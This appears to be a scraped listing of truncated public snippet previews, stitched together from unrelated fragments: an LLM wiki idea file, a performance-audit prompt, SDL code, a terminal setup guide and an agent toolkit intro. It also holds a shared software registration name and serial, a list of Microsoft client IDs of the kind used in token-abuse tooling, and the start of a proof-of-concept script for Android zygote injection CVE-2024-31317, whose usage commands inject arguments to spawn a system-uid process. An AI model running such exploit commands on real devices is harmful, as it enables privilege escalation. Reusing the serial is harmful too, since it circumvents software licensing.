xrman

Registration Code
Name                : www.xyraclius.com
Serial              : OOCRYIMDMDPWRETFPSUZ

karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

phpfour

Act as a Principal Software Architect and Performance Engineer.

Your task is to perform a comprehensive performance audit and refactor of this entire codebase.

Before making any changes:

1. Thoroughly analyze the architecture, code structure, dependencies, database access patterns, caching strategy, queues, API endpoints, background jobs, asset loading, and deployment configuration.

2. Identify all performance bottlenecks, including but not limited to:

• N+1 database queries

dafthack

00b41c95-dab0-4487-9791-b9d2c32c80f2 - Office 365 Management
04b07795-8ddb-461a-bbee-02f9e1bf7b46 - Microsoft Azure CLI
0ec893e0-5785-4de6-99da-4ed124e5296c - Office UWP PWA
18fbca16-2224-45f6-85b0-f7bf2b39b3f3 - Microsoft Docs
1950a258-227b-4e31-a9cf-717495945fc2 - Microsoft Azure PowerShell
1b3c667f-cde3-4090-b60b-3d2abd0117f0 - Windows Spotlight
1b730954-1685-4b74-9bfd-dac224a7b894 - Azure Active Directory PowerShell
1fec8e78-bce4-4aaf-ab1b-5451cc387264 - Microsoft Teams
22098786-6e16-43cc-a27d-191a01a1e3b5 - Microsoft To-Do client
268761a2-03f3-40df-8a8b-c3db24145b6b - Universal Store Native Client

CoryBloyd

// This work (SDLblit.cpp, by Cory Bloyd) is free of known copyright restrictions.
// https://creativecommons.org/publicdomain/zero/1.0/
#include <SDL.h>

inline uint32_t argb(uint8_t a, uint8_t r, uint8_t g, uint8_t b) { return (a<<24) | (r << 16) | (g << 8) | (b << 0); }

int main(int argc, char *argv[]) {
    SDL_Init(SDL_INIT_VIDEO);

    SDL_Rect    screenRect = { 0,0,1024,1024 };

rabits

#!/bin/sh
# PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317:
# https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
#
# USAGE (android 13, with pre-13 use 12200 instead of 32768):
#    host$ adb push payload.sh /sdcard/
#    host$ adb shell
#   shell$ logcat -c; settings put global hidden_api_blacklist_exemptions "$(sh /sdcard/payload.sh 8192 32768 \
#          --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=16787456 --mount-external-default --target-sdk-version=22 \
#          --setgroups=3003 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete \

lltx

🚀 现代化终端配置指南

Ghostty + Zoxide + Yazi + Oh-My-Zsh 完整配置

📦 工具列表

• Ghostty - 现代化 GPU 加速终端模拟器
• Zoxide - 智能目录跳转工具（cd 的智能替代）
• Yazi - 快速终端文件管理器
• Oh-My-Zsh - Zsh 配置框架

dabit3

PI is a TypeScript toolkit for building AI agents. It's a monorepo of packages that layer on top of each other: pi-ai handles LLM communication across providers, pi-agent-core adds the agent loop with tool calling, pi-coding-agent gives you a full coding agent with built-in tools, session persistence, and extensibility, and pi-tui provides a terminal UI for building CLI interfaces.

These are the same packages that power OpenClaw. This guide walks through each layer, progressively building up to a fully featured coding assistant with a terminal UI, session persistence, and custom tools.

By understanding how to compose these layers, you can build production-grade agentic software on your own terms, without being locked into a specific abstraction.

Pi was created by @badlogicgames. This is a great writeup from him that explains some of the design decisions made when creating it.

The stack